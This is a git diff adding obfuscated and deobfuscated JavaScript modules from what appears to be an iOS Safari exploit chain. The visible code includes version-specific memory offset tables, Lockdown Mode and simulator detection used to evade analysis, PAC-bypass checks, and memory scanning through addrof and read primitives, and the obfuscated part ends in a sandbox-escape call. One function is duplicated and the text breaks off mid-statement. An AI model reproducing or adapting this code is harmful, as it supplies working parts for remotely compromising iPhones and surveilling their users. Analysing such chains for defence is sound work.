1901013063) ? (T = U(([68, 56, 18, 24, 31, 14, 6, 68, 39, 2, 9, 25, 10, 25, 18, 68, 45, 25, 10, 6, 14, 28, 4, 25, 0, 24, 68, 40, 4, 25, 14, 38, 39, 69, 13, 25, 10, 6, 14, 28, 4, 25, 0, 68, 40, 4, 25, 14, 38, 39].map(x => { + return String.fromCharCode(x ^ 107); + }).join("")), [(4294967296 + (1701801329 ^ -815763821)), (1312107863 ^ 482233914), (1932670550 ^ 26677147), (4294967296 + (2004503141 ^ -579647093)), (4294967296 + (1851214659 ^ -1126873038)), (4294967296 + (1127437425 ^ -1809031712))]), l = new Offset64((1196578646 ^ 1196574541), 0)) : (T = U(([22, 106, 64, 74, 77, 92, 84, 22, 117, 80, 91, 75, 88, 75, 64, 22, 127, 75, 88, 84, 92, 78, 86, 75, 82, 74, 22, 116, 92, 93, 80, 88, 109, 86, 86, 85, 91, 86, 65, 23, 95, 75, 88, 84, 92, 78, 86, 75, 82, 22, 116, 92, 93, 80, 88, 109, 86, 86, 85, 91, 86, 65].map(x => { + return String.fromCharCode(x ^ 57); + }).join("")), [(4294967296 + (1752651602 ^ -1032301392)), (4294967296 + (1383293780 ^ -125869892)), (4294967296 + (1231444090 ^ -1678010773)), (4294967296 + (1599484489 ^ -2008466664))]), l = new Offset64((1481472607 ^ 1481479215), 0)), 0 === T) throw new Error(""); + s = N(T, A.pacia.bind(A), E), L = N(A.La.Dt().yt(), A.pacda.bind(A), k), R = N(A.Xa.Dt().yt(), A.pacda.bind(A), k), c = N(A.Ga.Dt().yt(), A.pacda.bind(A), k), V = N(A.Ma.Dt().yt(), A.pacda.bind(A), k); + const S = Q.Jh(([99, 57, 63, 62, 99, 32, 37, 46, 99, 63, 53, 63, 56, 41, 33, 99, 32, 37, 46, 40, 53, 32, 40, 98, 40, 53, 32, 37, 46].map(x => { + return String.fromCharCode(x ^ 76); + }).join(""))).dlsym(([34, 42, 53, 63, 43].map(x => { + return String.fromCharCode(x ^ 70); + }).join(""))); + K = new Offset64(S >>> 0, S / 4294967296 >>> 0) + } + return 0 === this.cA.length && (g = 0), I = CA(S, o, 0, E, 2 * this.oA.length, N, U, F, G, k, T, L, R, c, V, H, q, s, l, K, Y, J, i), this.oA + I + this.cA + this.xA + this.OA + this.KA + this.iA + } +} +return r.lA = () => { + const A = globalThis.moduleManager.getModuleByName(([30, 24, 75, 78, 72, 72, 78, 30, 20, 78, 72, 76, 73, 75, 21, 79, 20, 30, 79, 76, 30, 76, 31, 20, 75, 72, 25, 27, 25, 30, 78, 79, 31, 24, 20, 20, 25, 24, 24, 21].map(x => { + return String.fromCharCode(x ^ 45); + }).join(""))); + return A._d(), A.qd(), executeSandboxEscape() +}, r; \ No newline at end of file diff --git a/platform_module.js b/platform_module.js new file mode 100644 index 0000000..4d0fd61 --- /dev/null +++ b/platform_module.js @@ -0,0 +1,1105 @@ +/** + * Platform Detection Module (Deobfuscated) + * Original module hash: "14669ca3b1519ba2a8f40be287f646d4d7593eb0" + * + * This module is responsible for: + * 1. Detecting the iOS version from the browser user agent string + * 2. Selecting version-specific offsets and feature flags based on the detected version + * 3. Detecting Lockdown Mode (via IndexedDB Blob URL test) + * 4. Detecting the iOS Simulator (via lockdown-mode CSS check) + * 5. Determining the runtime type (LTgSl5 / PSNMWj / RoAZdq) based on + * the Mach-O CPU type found in the JSC memory region + * 6. Providing PAC (Pointer Authentication Code) integrity checking + * + * Runtime names correspond to exploit primitive configurations: + * - "LTgSl5" : Initial default, set during init(). Used when CPU_TYPE_X86_64 is detected. + * Throws an error if still set after detectRuntime(), as it indicates simulator. + * - "RoAZdq" : Selected when CPU_TYPE_X86_64 (0x01000007) Mach-O is found (refined offsets). + * - "PSNMWj" : Selected when CPU_TYPE_ARM64 (0x0100000C) Mach-O is found (iOS device offsets). + */ + +let m_14669ca3b1519ba2a8f40be287f646d4d7593eb0 = () => { + let r = {}; + + /** + * Module dependency: "57620206d62079baad0e57e6d9ec93120c0f5247" + * This is the utility module, imported twice: + * - `x` is the full export (used for x.Int64.fromNumber() - likely a BigInt utility) + * - `G` is destructured as { N: G } (the N export from utility module) + */ + const utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), + // { N: G } = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"), + + /** + * Platform state object - central state store for the exploit's platform knowledge. + * All platform detection results, offsets, and runtime primitives are stored here. + */ + platformState = { + /** @type {string|null} navigator.platform value (e.g. "MacIntel", "iPhone") */ + platform: null, + + /** @type {string|null} navigator.userAgent string */ + userAgent: null, + + /** @type {string} Detected browser type ("safari" or error) */ + browserType: "", + + /** @type {string} Runtime identifier: "LTgSl5", "PSNMWj", or "RoAZdq" */ + runtime: "", + + /** @type {number} Numeric iOS version (e.g. 170200 = iOS 17.2.0) */ + iOSVersion: 0, + + /** @type {*} Reserved / generation field */ + Gn: null, + + /** @type {number} Reserved numeric field */ + Fn: 0, + + /** @type {boolean} Whether PAC (Pointer Authentication) is enabled */ + hasPAC: false, + + /** @type {boolean|undefined} Lockdown Mode detection result */ + _n: undefined, + + /** @type {*} JSC memory base address (BigInt pointer) */ + yn: null, + + /** @type {string} Telemetry string 1 (passed from caller) */ + Tn: "", + + /** @type {string} Telemetry string 2 (passed from caller) */ + pn: "", + + /** @type {string} Telemetry string 3 (passed from caller) */ + Kn: "", + + /** @type {boolean} Whether to allow webdriver (navigator.webdriver) */ + allowWebdriver: false, + + /** @type {boolean} Secondary flag passed from caller */ + Pn: false, + + /** @type {Object} Version-specific offsets and feature flags */ + versionFlags: {}, + + /** @type {*} Mach-O parser instance */ + machOParser: null, + + /** @type {*} Exploit read/write primitive object */ + exploitPrimitive: null, + + /** @type {*} Reserved state field */ + Dn: null, + + /** @type {*} Reserved nullable state field */ + Ln: null, + + /** @type {*} Caller reference */ + caller: null, + + /** @type {*} Reserved nullable state field */ + Wn: null, + + /** @type {*} Reserved nullable state field */ + Zn: null, + + /** @type {*} PAC bypass primitive */ + pacBypass: null, + + /** @type {*} Reserved nullable state field */ + jn: null, + + /** @type {*} SandboxEscape primitive */ + sandboxEscape: null, + + /** @type {*} Reserved nullable state field */ + Jn: null, + + /** @type {*} Cached lockdown detection result (Promise result) */ + kn: null, + + /** @type {*} Cached simulator detection result (Promise result) */ + Qn: null, + + /** @type {boolean} Reserved boolean flag */ + qn: false + }; + r.zn = r.platformState = platformState; + + // ========================================================================= + // VERSION-SPECIFIC OFFSET TABLES + // ========================================================================= + // + // Each runtime has an array of offset entries ordered from highest version + // threshold (minVersion / GFx77t) to lowest. The applyVersionOffsets() + // function reverses the array, starts with the lowest-version entry as + // the base, then merges entries whose minVersion exceeds the detected + // iOS version, effectively building up the correct offset set for the + // running iOS version. + // + // Property names (e.g. TryHSU, ZHsObe, etc.) are opaque keys used + // throughout the exploit chain to look up specific struct offsets, + // feature flags, and size constants. + // ========================================================================= + + const versionOffsetTable = { + + /** + * LTgSl5 offsets - used as the initial runtime. + * If CPU_TYPE_X86_64 is detected, this runtime is flagged as error (simulator). + * Entries ordered from highest minVersion to lowest. + */ + LTgSl5: [ + { + /* minVersion */GFx77t: 170300, + JtEUci: false + }, + { + /* minVersion */GFx77t: 170200, + wC3yaB: true, + wYk8Jg: true + }, + { + /* minVersion */GFx77t: 170000, + UPk5PY: 96, + ZHsObe: 104 + }, + { + /* minVersion */GFx77t: 160600, + JtEUci: true, + KeCRDQ: false, + NfRtuR: 112, + DjRSp0: 8, + LVt9Wy: 24, + PfAPxk: 768, + JGRSu4: 144, + vqbEzc: 96, + jtUNKB: 16, + MJf4mX: 328, + zPL1kr: 472, + yjShKn: 512, + ga3074: 520, + oHmyQl: 664, + PCsIV0: 8, + vnu2oq: 0, + attyap: 4, + FGsnBi: 12, + pUvASJ: 16, + sMuYjH: 20, + KSrWFg: 3, + msD22k: 32, + LM9blg: 48, + SAobkS: 16, + TLJcwX: 44, + kA39V6: 48, + OaAnPR: 56, + qRQJn0: 32, + oBPlWp: 64 + }, + { + /* minVersion */GFx77t: 160400, + cyTrSt: 176, + UPk5PY: 88, + ZHsObe: 96 + }, + { + /* minVersion */GFx77t: 160200, + KeCRDQ: true, + ShQCsB: false, + TryHSU: 16, + FFwSQ4: 64, + hYaJ7z: 24, + JIIaFf: 16, + kQj6yR: 32, + dvuEmf: 28, + uLSxli: 24, + wA6rmI: 8, + iWQGB1: 16 + }, + { + /* minVersion */GFx77t: 150600, + ShQCsB: true, + RbKS6p: false + }, + { + /* minVersion */GFx77t: 150400, + xK8SW0: 64 + }, + { + /* minVersion */GFx77t: 150200, + RbKS6p: true, + mmrZ0r: false + }, + { + /* minVersion */GFx77t: 130006, + zpy6Mu: 16 + }, + { + /* minVersion */GFx77t: 130001, + zpy6Mu: 24, + xK8SW0: 72 + }, + { + /* minVersion */GFx77t: 110000, + mmrZ0r: true, + RbKS6p: false, + ShQCsB: false, + KeCRDQ: false, + xK8SW0: 64, + zpy6Mu: 24, + KaU4Z7: 24, + oGn3OG: 16, + CN3rr_: 16, + EMDU4o: 0, + fGOrHX: 16, + QwY9S3: false, + wC3yaB: false + }, + { + /* minVersion */GFx77t: 100000, + sKfNmf: false + }], + + + /** + * PSNMWj offsets - selected when CPU_TYPE_ARM64 (0x0100000C) Mach-O is found. + * This is the primary iOS device runtime with the most detailed offset table. + */ + PSNMWj: [ + { + /* minVersion */GFx77t: 170000, + wF8NpI: true, + CpDW_T: false, + LJ1EuL: false, + QwxZcT: false, + IqxL92: false + }, + { + /* minVersion */GFx77t: 160600, + LJ1EuL: true + }, + { + /* minVersion */GFx77t: 160300, + CpDW_T: true, + QwxZcT: false, + IqxL92: false, + KJy28q: 16, + JocAcH: 328, + Kx7EsT: 472, + Wr7XGb: 512, + GANQhD: 520, + PR7o33: 664, + YXGv5g: 8, + jV_CXG: 0, + Itxnt2: 4, + ctnJOf: 12, + ZU88w_: 16, + qfMZYC: 20, + tIQDib: 3, + DqxT1K: 32, + vso7lF: 48, + XuTBrC: 16, + TG9DBr: 44, + eEkK60: 48, + qDuMzc: 56, + YNgf0L: 32, + wSYvOp: 112, + gFT0ks: 8, + xjqua8: 24 + }, + { + /* minVersion */GFx77t: 160000, + QwxZcT: true + }, + { + /* minVersion */GFx77t: 150600, + juV600: true, + Lg4V8D: true + }, + { + /* minVersion */GFx77t: 150500, + ptTH_q: false, + kEXt5Z: 464, + RNiPoX: 1048575, + MhLcu0: 256 + }, + { + /* minVersion */GFx77t: 150400, + NUFCII: true, + jY1sqq: 224, + sKfNmf: true, + wU9pm_: 48 + }, + { + /* minVersion */GFx77t: 150100, + rD3mNF: 5 + }, + { + /* minVersion */GFx77t: 150000, + IqxL92: true, + OwGD0F: true, + IsjfuV: false, + OaAgtr: 8, + rvXShf: 48 + }, + { + /* minVersion */GFx77t: 140102, + IsjfuV: true, + PIQrsf: 216 + }, + { + /* minVersion */GFx77t: 140100, + KrBQWx: 140, + Kmb3Lc: 21 + }, + { + /* minVersion */GFx77t: 140003, + TyPY6G: true, + NUd9MZ: 208, + dzBoEE: 312, + cxrfKw: 168 + }, + { + /* minVersion */GFx77t: 140000, + PgkJIA: true, + DXnm2a: 568, + wU9pm_: 40 + }, + { + /* minVersion */GFx77t: 130100, + KaU4Z7: 16, + xlJ9NK: false, + rvXShf: 56 + }, + { + /* minVersion */GFx77t: 130001, + KaU4Z7: 24, + rvXShf: 64 + }, + { + /* minVersion */GFx77t: 130000, + xlJ9NK: true + }, + { + /* minVersion */GFx77t: 120000, + zpy6Mu: 16, + KaU4Z7: 16, + rvXShf: 56 + }, + { + /* minVersion */GFx77t: 110000, + iNLXaz: 8, + xK8SW0: 72 + }, + { + /* minVersion: base entry for all versions >= 100000 */ + GFx77t: 100000, + QwxZcT: false, + juV600: false, + Lg4V8D: false, + cxrfKw: 168, + oGn3OG: 16, + NUFCII: false, + CN3rr_: 16, + fGOrHX: 16, + EMDU4o: 0, + Ps7Z2u: 24, + iNLXaz: 24, + KaU4Z7: 24, + ZiIyeM: 24, + zpy6Mu: 24, + xK8SW0: 80, + rvXShf: 64, + VTwyJG: 32, + VEwXfI: 40, + zohDDd: true, + DXnm2a: 560, + PgkJIA: false, + xlJ9NK: false, + TyPY6G: false, + dzBoEE: 168, + SiBW7G: 8, + PyEQqC: 56, + iBTCSN: 200, + csgakW: 204, + ydHN48: 0, + KrBQWx: 128, + Kmb3Lc: 1, + IsjfuV: false, + IqxL92: false, + OwGD0F: false, + rD3mNF: 7, + ptTH_q: false, + MhLcu0: 232 + }], + + + /** + * RoAZdq offsets - selected when CPU_TYPE_X86_64 (0x01000007) Mach-O is found. + * This is a smaller table with refinements on top of the PSNMWj base. + */ + RoAZdq: [ + { + /* minVersion */GFx77t: 150000, + rvXShf: 48 + }, + { + /* minVersion */GFx77t: 130006, + rvXShf: 56 + }, + { + /* minVersion */GFx77t: 120000, + zpy6Mu: 16, + KaU4Z7: 16 + }, + { + /* minVersion */GFx77t: 110000, + iNLXaz: 8, + xK8SW0: 72 + }, + { + /* minVersion: base entry for all versions >= 100000 */ + GFx77t: 100000, + oGn3OG: 16, + CN3rr_: 16, + rvXShf: 64, + fGOrHX: 16, + EMDU4o: 0, + csgakW: 204, + iBTCSN: 200, + Ps7Z2u: 24, + iNLXaz: 24, + KaU4Z7: 24, + ZiIyeM: 24, + zpy6Mu: 24, + dzBoEE: 168, + SiBW7G: 8, + xK8SW0: 64, + VTwyJG: 32, + VEwXfI: 40, + zohDDd: false, + DXnm2a: 560, + PgkJIA: false + }] + + }; + + // ========================================================================= + // LOCKDOWN MODE DETECTION + // ========================================================================= + + /** + * Synchronous check for Lockdown Mode. + * + * On desktop Safari (platform === "MacIntel"), Lockdown Mode is inferred + * by checking whether the "TouchEvent" constructor exists on the window + * object. If the platform is "MacIntel" and TouchEvent is absent, Lockdown + * Mode is assumed to be active. + * + * The result is cached in platformState.isLockdownMode after the first call. + * + * @returns {boolean} true if Lockdown Mode is detected + */ + function checkLockdownMode() { + let t = false; + return undefined === platformState._n ? ( + + "MacIntel" === platformState.platform && + -1 === Object.getOwnPropertyNames(window).indexOf("TouchEvent") && ( + t = true), + platformState._n = t) : + + t = platformState._n, + t; + } + + // ========================================================================= + // VERSION OFFSET APPLICATION + // ========================================================================= + + /** + * Apply version-specific offsets to platformState.versionFlags. + * + * The offset table for the current runtime is reversed (so it goes from + * lowest minVersion to highest). The first entry becomes the base, and + * subsequent entries whose minVersion exceeds the detected iOS version + * cause the loop to break - meaning only entries with minVersion <= xn + * are merged in. + * + * This builds up the correct set of offsets and feature flags for the + * exact iOS version running on the device. + */ + function applyVersionOffsets() { + const t = versionOffsetTable[platformState.runtime].reverse(); + let n = Object.assign(platformState.versionFlags, t[0]); + for (const r of t.slice(1)) { + if (r.GFx77t > platformState.iOSVersion) break; + n = Object.assign(n, r); + } + platformState.versionFlags = n; + } + + // ========================================================================= + // EXPORTED FUNCTIONS + // ========================================================================= + + /** + * Check if Lockdown Mode is active. + * @returns {boolean} + */ + r.On = checkLockdownMode; + + /** + * Check if Lockdown Mode is active AND the runtime is "RoAZdq". + * This combination indicates lockdown mode on a Safari/x86_64 target. + * @returns {boolean} + */ + r.Vn = function () { + return checkLockdownMode() && "RoAZdq" === platformState.runtime; + }; + + /** + * Get the exploit read/write primitive. Throws if not yet initialized. + * @returns {*} The exploit primitive object (provides tr, nr, rr, ir methods) + */ + r.exploitPrimitive = function () { + if (null === platformState.exploitPrimitive) throw new Error("null === platformState.exploitPrimitive"); + return platformState.exploitPrimitive; + }; + + /** + * Asynchronously detect Lockdown Mode using multiple strategies: + * + * 1. If navigator.webdriver is true and En is false, throws an error. + * If En is true, resolves false (not lockdown). + * + * 2. If navigator.maxTouchPoints is defined (modern iOS): + * - Opens a temporary IndexedDB database + * - Attempts to store a Blob in an object store named "test" + * - If BlobURLs are not supported (Lockdown Mode restriction), the + * operation throws with a message matching /BlobURLs are not yet supported/ + * - This is the primary lockdown detection signal + * + * 3. If navigator.maxTouchPoints is undefined (older iOS / desktop): + * - Tests window.openDatabase (WebSQL) - if it throws, lockdown is active + * - Tests localStorage.setItem/removeItem with key "test" - if it throws, + * lockdown is active + * + * Results are cached in platformState.kn. + * Times out after 5000ms, defaulting to false. + * + * @returns {Promise} true if Lockdown Mode is detected + */ + r.Yn = async function () { + if (null !== platformState.kn) return platformState.kn; + { + const t = new Promise(function (t, n) { + let r = false; + + function o(n) { + r = true; + t(n); + } + + if (true === navigator.webdriver) { + //if (!platformState.allowWebdriver) throw new Error("!platformState.allowWebdriver"); + o(false); + } else if (undefined !== navigator.maxTouchPoints) { + /* Modern iOS: IndexedDB Blob URL test */ + (function () { + const t = String(Math.random()); + try { + window.indexedDB.open(t, 1).onupgradeneeded = function (n) { + let r; + const e = + null === (r = n.target) || undefined === r ? + undefined : + r.result; + try { + e.createObjectStore("test", { + autoIncrement: true + }).put(new Blob()); + o(false); + } catch (t) { + let n, + r = t; + if (t instanceof Error) { + r = null !== (n = t.message) && undefined !== n ? n : t; + } + return "string" != typeof r ? + o(false) : + o(/BlobURLs are not yet supported/.test(r)); + } finally { + e.close(); + window.indexedDB.deleteDatabase(t); + } + }; + } catch (t) { + return o(false); + } + })(); + } else { + /* Older iOS / desktop: WebSQL + localStorage test */ + (function () { + const t = window.openDatabase, + n = window.localStorage; + try { + t(null, null, null, null); + } catch (t) { + return o(true); + } + try { + n.setItem("test", "1"); + n.removeItem("test"); + } catch (t) { + return o(true); + } + o(false); + })(); + } + + /* Timeout fallback: resolve false after 5000ms */ + setTimeout(function () { + r || t(false); + }, 5000); + }); + return platformState.kn = await t, platformState.kn; + } + }; + + /** + * Asynchronously detect iOS Simulator. + * + * The detection uses a multi-signal approach: + * 1. Checks for the presence of WebRTC-related globals that should not + * exist in certain simulator builds: + * - "mozRTCPeerConnection" + * - "RTCPeerConnection" + * - "webkitRTCPeerConnection" + * - "RTCIceGatherer" + * + * 2. Checks for the absence of WebGLRenderingContext (simulators may + * not support WebGL). + * + * 3. Performs a CSS Lockdown Mode heuristic: + * - Injects a
with id "ldm_mml_t" containing a MathML element + * with mathcolor="blue" and content "14" + * - Reads the computed color of the inner element + * - If the color is NOT "rgb(0, 0, 255)" (blue), it indicates + * Lockdown Mode is active (MathML is restricted), which means + * this is NOT a simulator + * + * The result is true if the environment is NOT a simulator. + * Results are cached in platformState.Qn. + * + * @returns {Promise} true if NOT a simulator + */ + r.Hn = async function () { + if (null !== platformState.Qn) return platformState.Qn; + { + const t = new Promise(function (t, n) { + return t( + !( + [ + "mozRTCPeerConnection", + "RTCPeerConnection", + "webkitRTCPeerConnection", + "RTCIceGatherer"]. + some((t) => t in globalThis) && + !globalThis.WebGLRenderingContext && + !function () { + const t = "ldm_mml_t", + n = document.createElement("div"); + n.setAttribute("id", t); + n.innerHTML = + '14'; + const r = + undefined !== document.body ? + document.body : + document.firstChild; + r.appendChild(n); + const o = + "rgb(0, 0, 255)" === + globalThis.getComputedStyle( + n.firstChild.firstChild, + null + ).color; + return r.removeChild(document.getElementById(t)), o; + }()) + + ); + }); + return platformState.Qn = await t, platformState.Qn; + } + }; + + /** + * Asynchronously detect iOS Simulator. + * + * The detection uses a multi-signal approach: + * 1. Checks for the presence of WebRTC-related globals that should not + * exist in certain simulator builds: + * - "mozRTCPeerConnection" + * - "RTCPeerConnection" + * - "webkitRTCPeerConnection" + * - "RTCIceGatherer" + * + * 2. Checks for the absence of WebGLRenderingContext (simulators may + * not support WebGL). + * + * 3. Performs a CSS Lockdown Mode heuristic: + * - Injects a
with id "ldm_mml_t" containing a MathML element + * with mathcolor="blue" and content "14" + * - Reads the computed color of the inner element + * - If the color is NOT "rgb(0, 0, 255)" (blue), it indicates + * Lockdown Mode is active (MathML is restricted), which means + * this is NOT a simulator + * + * The result is true if the environment is NOT a simulator. + * Results are cached in platformState.Qn. + * + * @returns {Promise} true if NOT a simulator + */ + r.Hn = async function () { + if (null !== platformState.Qn) return platformState.Qn; + { + const t = new Promise(function (t, n) { + return t(![ + "mozRTCPeerConnection", + "RTCPeerConnection", + "webkitRTCPeerConnection", + "RTCIceGatherer"]. + some((t) => t in globalThis) && + !globalThis.WebGLRenderingContext && !function () { + const t = "ldm_mml_t", + n = document.createElement("div"); + n.setAttribute("id", t); + n.innerHTML = + '14'; + const r = + undefined !== document.body ? + document.body : + document.firstChild; + r.appendChild(n); + const o = + "rgb(0, 0, 255)" === + globalThis.getComputedStyle( + n.firstChild.firstChild, + null + ).color; + return r.removeChild(document.getElementById(t)), o; + }()); + }); + return platformState.Qn = await t, platformState.Qn; + } + }; + + /** + * Check PAC (Pointer Authentication Code) integrity. + * + * This function creates a small WebAssembly module with two exported + * functions (i32.add and i32.sub) and verifies that their function + * pointers maintain PAC integrity through the exploit's read/write + * primitive. + * + * The WASM module (hex: 0061736d 01000000...): + * - Type section: one function type (i32, i32) -> i32 + * - Function section: two functions of that type + * - Export section: exports "a" (i32.add) and "b" (i32.sub) + * + * For each exported function: + * 1. Reads the JSObject pointer via Xn.addrof() + * 2. Reads the native function pointer at JSObject + offsets.rvXShf + * 3. Uses Xn.readInt64FromOffset() to read the raw pointer + * 4. Extracts the data portion (o.Dt()) + * 5. Signs it with the PAC bypass (Mn.pacia()) using context 0x24AD + * 6. Compares the re-signed pointer with the original (o.lt()) + * + * If PAC is enabled (platformState.hasPAC) and sKfNmf flag is true, + * the function performs the integrity check. Returns true if any + * function pointer fails the PAC round-trip (indicating PAC bypass + * issues). + * + * @returns {Promise} true if PAC integrity check fails + */ + r.$n = async function () { + if (undefined === platformState.exploitPrimitive) throw new Error("undefined === platformState.exploitPrimitive"); + if (undefined === platformState.pacBypass) throw new Error("undefined === platformState.pacBypass"); + + /** PAC signing context value: 0x24AD = 9389 */ + const t = utilityModule.Int64.fromNumber(9389); + + function n(n) { + const r = function (t) { + const n = platformState.exploitPrimitive.addrof(t); + return platformState.exploitPrimitive.readRawBigInt( + n + + globalThis.moduleManager.getModuleByName( + "14669ca3b1519ba2a8f40be287f646d4d7593eb0" + ).platformState.versionFlags.rvXShf + ); + }(n), + o = platformState.exploitPrimitive.readInt64FromOffset(r); + return platformState.pacBypass.pacia(o.Dt(), t).lt(o); + } + + if ( + platformState.hasPAC && + true === + globalThis.moduleManager.getModuleByName( + "14669ca3b1519ba2a8f40be287f646d4d7593eb0" + ).platformState.versionFlags.sKfNmf) + { + /** + * WebAssembly module bytes (decoded): + * Magic: \0asm (00 61 73 6d) + * Version: 1 + * Type section: 1 func type (i32, i32) -> i32 + * Function section: 2 functions + * Export section: "a" = func 0, "b" = func 1 + * Code section: + * func 0: local.get 0, local.get 1, i32.add (0x6A) + * func 1: local.get 0, local.get 1, i32.sub (0x6B) + */ + const t = new Uint8Array([ + 0, 97, 115, 109, // \0asm magic + 1, 0, 0, 0, // version 1 + 1, 7, 1, 96, // type section: 1 func type + 2, 127, 127, // params: i32, i32 + 1, 127, // results: i32 + 3, 3, 2, 0, 0, // function section: 2 funcs, both type 0 + 7, 9, 2, // export section: 2 exports + 1, 97, 0, 0, // "a" -> func 0 + 1, 98, 0, 1, // "b" -> func 1 + 10, 17, 2, // code section: 2 function bodies + 7, 0, // func 0: size=7, 0 locals + 32, 0, 32, 1, // local.get 0, local.get 1 + 106, // i32.add + 11, // end + 7, 0, // func 1: size=7, 0 locals + 32, 0, 32, 1, // local.get 0, local.get 1 + 107, // i32.sub + 11 // end + ]).buffer; + + const r = new WebAssembly.Module(t, {}), + o = new WebAssembly.Instance(r, {}), + e = o.exports.a, + l = o.exports.b; + return !n(e) || !n(l); + } + return false; + }; + + /** + * Initialize the platform module. + * + * Parses the user agent string to determine iOS version and browser type, + * stores telemetry parameters, sets the initial runtime to "LTgSl5", + * and applies version-specific offsets. + * + * Supported user agent formats: + * - "Version/X.Y.Z" (standard Safari) + * - "MobileStore/1.0" + "iOS/X.Y.Z" (alternative Safari wrapper) + * - "iPhone OS X_Y_Z" (fallback UA parsing) + * + * Only "safari" browser type is accepted; other browsers cause an error. + * + * @param {string} fixedMachOVal3 - Telemetry string 1 (Tn) + * @param {string} fixedMachOVal1 - Telemetry string 2 (pn) + * @param {string} fixedMachOVal2 - Telemetry string 3 (Kn) + * @param {boolean} o - Allow webdriver flag (En) + * @param {boolean} e - Secondary flag (Pn / Pn) + * @param {string} l - navigator.platform value + * @param {string} i - navigator.userAgent string + */ + r.init = function (fixedMachOVal3, fixedMachOVal1, fixedMachOVal2, o, e, l, i) { + function c(t) { + return 1 === t.length ? "0" + t : t; + } + + platformState.fixedMachOVal3 = fixedMachOVal3; + platformState.fixedMachOVal1 = fixedMachOVal1; + platformState.fixedMachOVal2 = fixedMachOVal2; + platformState.allowWebdriver = o; + platformState.Pn = e; + platformState.platform = l; + + /* Detect browser type from user agent */ + if (i.match(/Version/)) { + platformState.browserType = "safari"; + } else { + if (!i.match(/AppleWebKit\//)) + throw new Error("!i.match(/AppleWebKit\//)"); + platformState.browserType = "safari"; + } + + /* Only Safari is supported */ + if ("safari" !== platformState.browserType) throw new Error("safari !== platformState.browserType"); + + /* Parse iOS version from user agent */ + let u = i.match(/Version\/(\d+)\.(\d+)(?:\.(\d+))?/); + + /* Fallback: check for "MobileStore/1.0" wrapper format */ + if (null === u && i.startsWith("MobileStore/1.0")) { + u = i.match(/iOS\/(\d+)\.(\d+)(?:\.(\d+))?/); + } + + /* Fallback: check for "iPhone OS X_Y_Z" format */ + if (null === u && i.match(/iPhone OS \d+_\d+(?:_\d+)?/)) { + u = i.match(/iPhone OS (\d+)_(\d+)(?:_(\d+))?/); + } + + if (null === u) throw new Error("null === u"); + + /** + * Convert version components to a 6-digit numeric format: + * major(2) + minor(2) + patch(2) + * e.g. iOS 17.2.0 -> "170200" -> 170200 + */ + const a = parseInt(c(u[1]) + c(u[2]) + (u[3] ? c(u[3]) : "00"), 10); + + platformState.iOSVersion = a; + + /* Set initial runtime to "LTgSl5" */ + platformState.runtime = "LTgSl5"; + + /* Apply version-specific offsets for the initial runtime */ + applyVersionOffsets(); + }; + + /** + * Detect the actual runtime by scanning JSC memory for Mach-O headers. + * + * This function: + * 1. Reads the JSObject pointers for WebAssembly.Table and + * WebAssembly.Instance to determine if PAC is enabled (their + * tagged pointers will differ if PAC signing is active). + * + * 2. Page-aligns the pointer and scans backward through memory in + * 4096-byte (page-size) increments looking for the Mach-O 64-bit + * magic number 0xFEEDFACF. + * + * 3. Reads the CPU type field at offset +4 from the Mach-O header: + * - 0x01000007 (CPU_TYPE_X86_64) -> runtime = "RoAZdq" + * - 0x0100000C (CPU_TYPE_ARM64) -> runtime = "PSNMWj" + * + * 4. Stores the Mach-O header address as platformState.yn. + * + * 5. If the runtime is still "LTgSl5" after detection, throws an error + * (this would indicate a simulator or unsupported environment). + * + * 6. Re-applies version offsets for the newly detected runtime and + * freezes the offsets object. + */ + r.lr = function () { + const t = (t) => { + if (undefined === platformState.exploitPrimitive) throw new Error("undefined === platformState.exploitPrimitive"); + const n = platformState.exploitPrimitive.addrof(t); + return platformState.exploitPrimitive.readInt64FromOffset( + n + + globalThis.moduleManager.getModuleByName( + "14669ca3b1519ba2a8f40be287f646d4d7593eb0" + ).platformState.versionFlags.KaU4Z7 + ); + }, + n = t(WebAssembly.Table), + r = t(WebAssembly.Instance); + + let o = n; + + /** + * PAC detection: if the tagged pointers for Table and Instance differ + * in their upper bits (et field), PAC is active. + */ + if (n.et !== r.et) { + platformState.hasPAC = true; + window.log(`[PLATFORM] PAC (Pointer Authentication) detected`); + o = o.Tt(); /* Strip PAC bits */ + } + + /** + * Page-align the pointer downward (mask off lower 12 bits). + * o.it is the lower 32 bits; % 4096 gives the page offset. + */ + o = o.Bt(o.it % 4096); + + /** + * Scan backward through memory pages looking for the Mach-O 64-bit + * magic number 0xFEEDFACF. The read32FromInt64() method reads a 32-bit value, + * and we compare against the full 64-bit representation: + * 4294967296 + (-17958193) = 0xFEEDFACF = 4277009103 + */ + while (0xFEEDFACF !== platformState.exploitPrimitive.read32FromInt64(o)) { + o = o.Bt(4096); + } + + /** + * Read the CPU type at Mach-O header + 4 bytes (cputype field in mach_header_64). + */ + const e = platformState.exploitPrimitive.read32FromInt64(o.H(4)); + + if (0x01000007 === e) { + /* CPU_TYPE_X86_64 -> use RoAZdq runtime offsets */ + platformState.runtime = "RoAZdq"; + } else { + if (0x0100000C !== e) throw new Error("0x0100000C !== e"); + /* CPU_TYPE_ARM64 -> use PSNMWj runtime offsets */ + platformState.runtime = "PSNMWj"; + } + + /* Store the JSC Mach-O base address */ + platformState.yn = o; + window.log(`[PLATFORM] Runtime: ${platformState.runtime}, JSC base: 0x${o.it.toString(16)}`); + + /** + * Safety check: if runtime is still "LTgSl5", something went wrong + * (likely running in a simulator). Throw to abort. + */ + if ("LTgSl5" === platformState.runtime) throw new Error("LTgSl5 === platformState.runtime"); + + /* Re-apply version offsets for the newly detected runtime and freeze */ + applyVersionOffsets(); + Object.freeze(platformState.versionFlags); + }; + + /** + * Get or create the Mach-O parser for the detected JSC binary. + * + * Uses module "ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8" (the Mach-O + * parsing module) to create a parser. The parser method called depends + * on the runtime: + * - "PSNMWj" (ARM64) -> parser.ar() (ARM64 Mach-O parser) + * - "RoAZdq" (x86_64) -> parser.sr() (x86_64 Mach-O parser) + * + * Results are cached in platformState.machOParser. + * + * @returns {*} Mach-O parser instance + */ + r.cr = function () { + window.log(`[PLATFORM] Creating image list from JSC base address...`); + let t; + if (platformState.machOParser) { + t = platformState.machOParser; + } else { + if (!platformState.yn) throw new Error("!platformState.yn"); + + const n = globalThis.moduleManager.getModuleByName( + "ba712ef6c1bf20758e69ab945d2cdfd51e53dcd8" + 